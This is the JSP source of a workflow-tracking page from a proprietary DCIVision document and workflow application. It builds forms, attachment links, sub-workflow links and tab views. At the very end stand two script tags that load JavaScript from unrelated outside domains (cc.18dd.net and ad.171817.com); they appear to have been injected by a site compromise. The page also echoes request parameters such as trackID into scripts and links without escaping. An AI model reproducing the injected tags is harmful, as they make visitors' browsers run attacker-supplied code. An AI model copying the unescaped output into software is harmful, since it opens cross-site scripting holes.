<%
/*
 * @(#)EditWorkflowTrack.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowTrack.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.64.2.18 $
*/
%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.quartz.JobDataMap"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowRecordForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowRecordForm"/>

<script language="Javascript">
<!--
function hideBlock(b) {
    FindObj(b).style.display = "none";
  }

function showBlock(b) {
    FindObj(b).style.display = "block";
}

function toggleBlock(b,c) {
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
      showBlock(c);
    } else {
      showBlock(b);
      hideBlock(c);
    }
}

function adjustIFrameSize (iframeWindow) {
  if (iframeWindow.name != 'iframeName') return false;
  
  if (iframeWindow.document.height) {
    var iframeElement = parent.document.getElementById(iframeWindow.name);
    iframeElement.style.height = iframeWindow.document.height+15+ 'px';
  }else if (document.all) {
    var iframeElement = parent.document.all[iframeWindow.name];
    if (iframeWindow.document.compatMode &&
        iframeWindow.document.compatMode != 'BackCompat'){
      iframeElement.style.height =iframeWindow.document.documentElement.scrollHeight + 15 + 'px';
    } else {
       if (iframeElement && iframeWindow.document.body.scrollHeight){
         iframeElement.style.height = iframeWindow.document.body.scrollHeight + 15 + 'px';
       }
    }
  }
}


function CusOpInterrupt(){
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var width = 800;
  var height = 600;
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  var sPopupPath = "<%= request.getContextPath() %>/workflow/ListWorkflowStep.do?fromType=L&SHOW_HEADER_FOOTER=N&workflowRecordID=<%=maintWorkflowRecordForm.getID()%>&trackID=<%=request.getParameter("trackID")%>&workflowTrackID=<%=request.getParameter("trackID")%>&ID=&workflowStepID=";
  OpenCenteredPopup(sPopupPath, "DCIVisionInterruptWorkflowSelect", width, height, sOptions);
}

function OpViewProcess(trackID, id, workflowRecordID){
  var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=WORKFLOW.TREE&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&listView=Y";
  var name = "DCIVisionViewWorkflowProgress";
  var popW = "850";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  return false;
}

function OpRefresh(){
  parentURL = window.document.location.href;
  window.document.location = parentURL;
}

function Opclose(){
  var parentWindowsDocument = window.opener.document;
  var isFormHomePager = false;
  if(parentWindowsDocument.getElementById("<%=PersonalHomePreference.WORKFLOW_TRACKING_LIST%>"))
    isFormHomePager = true;
  if(!isFormHomePager){
  window.opener.location.reload();
  }
window.close();
}


-->
</script>
<%
try{
  String defaultFormRecordID = request.getParameter("formRecordID");
  String ACTION_MODE=null;
  String workflowRecordID = maintWorkflowRecordForm.getID();
  String from = request.getParameter("from");
  String categoryID = null;
%>
<html:form action="workflow/MaintWorkflowTrack" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  String navMode = request.getParameter("navMode");
  List subworkflowList = (List) request.getAttribute("subworkflowList");

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
  FormSubmissionDAObject formSubmissionDAO = new FormSubmissionDAObject(sessionContainer, conn);
  WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, conn);

  //DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");
  
  String returnURL=null;
  if(request.getAttribute("SHOW_HEADER_FOOTER")==null || ("Y").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))||"null".equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    if ("home".equals(from)) {
       returnURL="../Home.do";
    } else {
      if (Utility.isEmpty(request.getParameter("returnURL"))) {
        returnURL="ListWorkflowTrack.do?showFullList="+(GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE)+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
     } else { 
        returnURL=request.getParameter("returnURL");
     } 
   } 
  }
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>



<layout:tabContainer id="tab1">
 <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:popupTitle titleKey ="workflow.label.workflow_tracking"/> 
 <layout:tabBar>
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/> 
        <layout:tabPane id="workflowListTab" title="workflow.label.list_view"/>
		<layout:tabPane id="workflowTreeTab" title="workflow.label.flow_chart_view"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
  
<div id="basicTab" class="taskTabContent">
<table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.workflow_track_information" colspan="4"/>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><% Integer trackID = TextUtility.parseIntegerObj(request.getParameter("trackID"));%><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID)%></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:text property='workflowCode' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:text property='workflowVersion' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:text property='description' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.category'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:select textOnly='true' property='workflowCategoryID'>
      <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_CATEGORY%>'/>
    </html:select></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:datepicker textOnly='true' property='startDate'/>
    <bean:message key='common.label.period_to'/>
    <html:datepicker textOnly='true' property='endDate'/></td>
  </tr>
  <% if (subworkflowList.size() > 0) { %>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key='workflow.label.related_subworkflow'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2">
    <%
      WorkflowProgress fullProgress = null;
      WorkflowProgress pendingProgress = null;
      WorkflowProgressDAObject wfProgressDAO = new WorkflowProgressDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      for (int i=0; i<subworkflowList.size(); i++) {
        MtmWorkflowChildParentProgress tmp = (MtmWorkflowChildParentProgress) subworkflowList.get(i);
        WorkflowProgress fristSubProgress = (WorkflowProgress)progressDAO.getFirstProgressByTrackID(tmp.getSubworkflowTrackID());
        // falcon_add_start_EIP-141
        List fullProgressList = wfProgressDAO.getListByTrackID(tmp.getSubworkflowTrackID());
        if (!Utility.isEmpty(fullProgressList)) {
         for (int m = 0; m < fullProgressList.size(); m++ ) {
           fullProgress = (WorkflowProgress) fullProgressList.get(m);
             if(!WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {
               pendingProgress = (WorkflowProgress)fullProgressList.get(m);
                 }
               }
             }
        // falcon_add_end
        WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);
        List objectList = progressObjDAO.getListByTrackID(tmp.getSubworkflowTrackID());
        for(int j=0; j<objectList.size(); j++){
        //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID(tmp.getSubworkflowTrackID());
          MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)objectList.get(j);
          JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );


          Object workflowObj = dataMap.get("WORKFLOW_OBJECT");
          if ( workflowObj instanceof com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq ) {
          com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq interruptReq = (com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq)workflowObj;
          WorkflowStep workflowStep = null;
          if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
            workflowStep = (WorkflowStep)stepDAO.getObjectByID(interruptReq.getTargetStepID());
          }
          String interruptType = null;
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_ROLLBACK.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_B");
          }
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_stop");
          }
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_SKIP.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_K");
          }
          if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_REVOKE.equals(interruptReq.getInterruptType().toString())){
            interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_V");
          }
    %>
    <nobr><bean:message key='workflow.label.workflow_interrupt_request'/>&nbsp;<%=interruptType%>&nbsp;<%if(!(MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString()))) {%><bean:message key='dms.label.email_send_to'/>&nbsp;<bean:message key='workflow.label.workflow_step'/><%=workflowStep.getStepSeq()+"."+workflowStep.getStepName()%><%}%>
    <html:img src='IconWorkflowRelated.gif' />
    <%if(!Utility.isEmpty(fullProgress) && !Utility.isEmpty(pendingProgress) && !WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {%>
      <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=pendingProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
    <%}else{%>
      <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=fristSubProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
    <%}%>
    <html:img src="LayoutSpacer.gif"  width="20" height="1"/>
    </nobr><br>
    <%   } else { %>
    <nobr>
    <html:img src='IconWorkflowRelated.gif' />
    <%if(!Utility.isEmpty(fullProgress) && !Utility.isEmpty(pendingProgress) && !WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {%>
      <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=pendingProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
    <%}else{%>
      <a href='MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=<%=request.getAttribute("SHOW_HEADER_FOOTER")%>&showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowProgressID=<%=fristSubProgress.getID()%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
    <%}%>
      <html:img src="LayoutSpacer.gif"  width="20" height="1"/>
    </nobr><br>
    <%   }
      }
    }

    %>

    </td>
  </tr>
  <% } %>
  <tr>
    <td class="formLabelSmall"><bean:message key="workflow.label.supporting_document"/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2">
    <%
      SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
      List attachmentList = (List)request.getAttribute("attachmentList");
      for (int i=0; i<attachmentList.size(); i++) {
        WorkflowProgressAttachment attachment = (WorkflowProgressAttachment)attachmentList.get(i);

        if(WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
          String versionID = attachment.getExternalID();
          DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
          Integer dmsDocumentID = dmsVersion.getDocumentID();
          DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
          String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getParentID());
          //DmsRoot dmsRoot = (DmsRoot)dmsRootDAO.getObjectByID(dmsDocument.getRootID());

        %>
        <dms:documentInfo docObject='<%=dmsDocument%>' permission='<%=permission%>' inviteToRead = 'true' version='<%=versionID%>'/>
        <%
        } else if (!Utility.isEmpty(attachment.getExternalID())) {
        %>
        <a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconFile.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_attachment", Integer.toString(i) ) %>'/><%=attachment.getAttachmentName()%></a>
        <%
        }
      }
     if (!Utility.isEmpty(attachmentList) && sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
        String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
        permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
        if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
    %><nobr><input type="checkbox" name="showIndexFlag" value="Y" checked><bean:message key='dms.label.show_index'/></nobr><%}}%>
    </td>
  </tr>

 <%
  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
  WorkflowRecord workflowRecord = (WorkflowRecord) recordDAO.getObjectByID(new Integer(workflowRecordID));
  categoryID = workflowRecord.getWorkflowCategoryID().toString();
  MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
%>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.related_to_object'/>:&nbsp;</td>
    <td  class="formFieldSmall" width="240" >
    <%if (SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(categoryID)) {
      //Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
      WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);

      List objectList = progressObjDAO.getListByTrackID(new Integer(request.getParameter("trackID")));
      for(int i=0; i<objectList.size(); i++){
        //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID(new Integer(request.getParameter("trackID")));
        MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)objectList.get(i);
        JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );
        WorkflowProgress parentProgress = (WorkflowProgress)dataMap.get("WORKFLOW_PROGRESS");
        WorkflowRecord wfRecord = (WorkflowRecord)recordDAO.getObjectByID(parentProgress.getWorkflowRecordID());

        Object workflowObj = dataMap.get("WORKFLOW_OBJECT");
        com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq interruptReq = (com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq)workflowObj;
        WorkflowStep workflowStep = null;
        if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
          workflowStep = (WorkflowStep)stepDAO.getObjectByID(interruptReq.getTargetStepID());
        }
        String interruptType = null;
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_ROLLBACK.equals(interruptReq.getInterruptType().toString())){
           interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_B");
        }
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
          interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_stop");
        }
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_SKIP.equals(interruptReq.getInterruptType().toString())){
          interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_K");
        }
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_REVOKE.equals(interruptReq.getInterruptType().toString())){
          interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_V");
        }
      %>
      <bean:message key='workflow.label.workflow_interrupt_for'/><br><%=interruptType%> :<a href="javascript://" onClick="return OpViewProcess('<%=parentProgress.getTrackID()%>', '<%=parentProgress.getID()%>', '<%=parentProgress.getWorkflowRecordID()%>');"><%=wfRecord.getWorkflowCode() + "-" + TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), parentProgress.getTrackID())%></a> <%      if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
%><bean:message key='dms.label.email_send_to'/> :<%=workflowStep.getStepSeq()+"."+workflowStep.getStepName()%><%}%>
   <%   }
      }%>
      <%

        WorkflowProgress workflowProgress = null;
        if (!Utility.isEmpty(request.getParameter("workflowProgressID")) && !"null".equals(request.getParameter("workflowProgressID"))) {
          workflowProgress = (WorkflowProgress)progressDAO.getObjectByID(new Integer(request.getParameter("workflowProgressID")));
          // falcon_add_start_5777
          List  pendingProgressList = progressDAO.getListByTrackIDAndStatus(workflowProgress.getTrackID(), WorkflowProgress.STATUS_PENDING);
          for (int k = 0; k < pendingProgressList.size(); k++) {
           workflowProgress = (WorkflowProgress)pendingProgressList.get(k);
          }
         // falcon_add_end
        } else {
          workflowProgress = (WorkflowProgress)progressDAO.getFirstProgressByTrackID(new Integer(request.getParameter("trackID")));
        }
      %>
      <wfm:relatedObjectInfo trackID='<%=Integer.valueOf(request.getParameter("trackID"))%>' workflowProgress="<%=workflowProgress%>" relatedItem="false" styleClass="formFieldSmall" navMode='V' hasIframe="true"/>
    </td>
    <%
    com.dcivision.form.bean.FormSubmission formSubmission = null;
    com.dcivision.form.bean.FormRecord formRecord = null;
    if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)) {

      List objectList = formSubmissionDAO.getHasPermissionListByTrackIDWorkflowStepID(new Integer(request.getParameter("trackID")), workflowProgress.getWorkflowStepID());

      for (int i=0; i<objectList.size(); i++) {
        formSubmission = (FormSubmission)objectList.get(i);
        if (formSubmission.getFormRecordID().toString().equals(defaultFormRecordID)) {
          break;
        }
      }

      com.dcivision.form.dao.FormRecordDAObject formDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
      if(!Utility.isEmpty(formSubmission)){
        formRecord = (com.dcivision.form.bean.FormRecord)formDAO.getObjectByID(formSubmission.getFormRecordID());
      }
    }
    %>
    <td class="formFieldSmall" width="390">
    <%if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID) && (!Utility.isEmpty(formRecord) && Utility.isEmpty(formRecord.getFormDocID()))) {%>
      <span id="divFormSubmissionShow">
       [<a href="" onclick="showBlock('divFormSubmissionHide'); hideBlock('divFormSubmissionShow'); toggleBlock('formSubmission','hidFormSubmission');return false" ><bean:message key ='calendar.label.hide'/></a>]
      </span>
      <span id="divFormSubmissionHide">
       [<a href="" onclick="hideBlock('divFormSubmissionHide'); showBlock('divFormSubmissionShow'); toggleBlock('formSubmission','hidFormSubmission');return false" ><bean:message key ='calendar.label.show'/></a>]
      </span>
    <%}%>
    </td>
  </tr>
  <%if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID) && (!Utility.isEmpty(formRecord) && Utility.isEmpty(formRecord.getFormDocID()))) {%>
  <tr><td colspan="3">
	<div id="formSubmission">
   	<%String url = request.getContextPath()+"/form/MaintFormSubmission.do?navMode=V&formRecordID="+formSubmission.getFormRecordID()+"&formSubmissionID="+formSubmission.getID()+"&function=WORKFLOW&workflowProgressID="+request.getParameter("workflowProgressID")+"&workflowStepID="+ workflowProgress.getWorkflowStepID()+"&isWorkflowViewFlag=Y&SHOW_HEADER_FOOTER=N&isViewTask=Y&hideTitle=Y"+"&isShowIframeLoading=N";%>
	<iframe name="iframeName" id="iframeName" src="<%=url%>" width="100%" height="325" frameborder="0" topmargin="0" leftmargin="0" rightmargin="0" marginwidth="0" marginheight="0"  align="middle" scrolling="no">
	</iframe>
	<script language="JavaScript">
   	<!--
    	hideBlock("divFormSubmissionHide");
    	showBlock("divFormSubmissionShow");
	-->
	</script>
	</div>
  <div id="hidFormSubmission" style="display:none">
  <table height="250"><tr><td></td></tr></table>
  </div>
  </td>
 </tr>
 <%}else{%>
 <tr><td><table height="245"><tr><td></td></tr></table></td></tr>
 <%}%>
</table>
</div>
<!-- basic info end -->

 
<!-- show workflow list -->
  <div id="workflowListTab" class="taskTabContent">
    <table width="100%">
    <layout:sectionHeader name="workflow.label.workflow_routine" colspan="4"/>
	<tr><td>
      <jsp:include page="ShowWorkflowList.jsp">
      <jsp:param name="workflowRecordID" value="<%=workflowRecordID%>"/>
      </jsp:include>
   </td></tr>
   </table>
   <table height="320"><tr><td></td></tr></table>
   </div>
   <!-- show List View End -->

  <!-- show workflow tree -->
  <div id="workflowTreeTab" class="taskTabContent">
   <table width="100%">
   <layout:sectionHeader name="workflow.label.workflow_routine" colspan="4"/>
    <tr><td align="middle">
      <jsp:include page="ShowWorkflowTree.jsp">
        <jsp:param name="workflowRecordID" value="<%=workflowRecordID%>"/>
        <jsp:param name="isDisplayTheProceedButton" value="<%=true%>"/>
      </jsp:include>
    </td></tr>
	</table>
	<table height="220"><tr><td></td></tr></table>
	</div>
	<!-- End show workflow tree Tab DIV-->

</layout:tabContainer>



<div id="bottomButtonArea">
    <div id="buttonSection">
    <% if (maintWorkflowRecordForm.isInterruptAble()) {
    %>
      <html:standardButton label="common.permission.label_J" onClick="javascript:CusOpInterrupt();"/>
    <%}%>
    <%
      if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
        if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    %>
    <html:standardButton label="common.label.close" onClick="javascript:Opclose();"/>
    <%  }
      }
    %>
	<%if (SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(categoryID)){%>
	<% String actioinString = "return OpenCenteredPopup('ListWorkflowDocTracking.do?navMode=" + GlobalConstant.NAV_MODE_PREVIEW + "&trackID=${param.trackID}&SHOW_HEADER_FOOTER=N','DCIVisionPaperReceipt',630,300,'scrollbars=no,width=630,height=300,toolbar=no,status=no,directories=no,menubar=no,resizable=yes')";  %>
	<html:permissionButton objectType='' functionCode='<%=SystemFunctionConstant.DMS_PAPER_DOCUMENT%>' right='R' label="common.label.print" onClick='<%= actioinString %>'/>
	<%}%>
   </div>
</div>

</html:form>
<%
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
%>
<!--new document invitation-->
<div  id="NewDocumentInvitation" style="position:absolute;display:none;overflow=none;z-index:801;top:20px; background-color:white; left:100px;">
</div>
<script language='javascript'>
<!--
  function CancelDim(){
    var invtee = document.getElementById("NewDocumentInvitation");
    invtee.style.display="none";
    loadingStop();
  }

//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>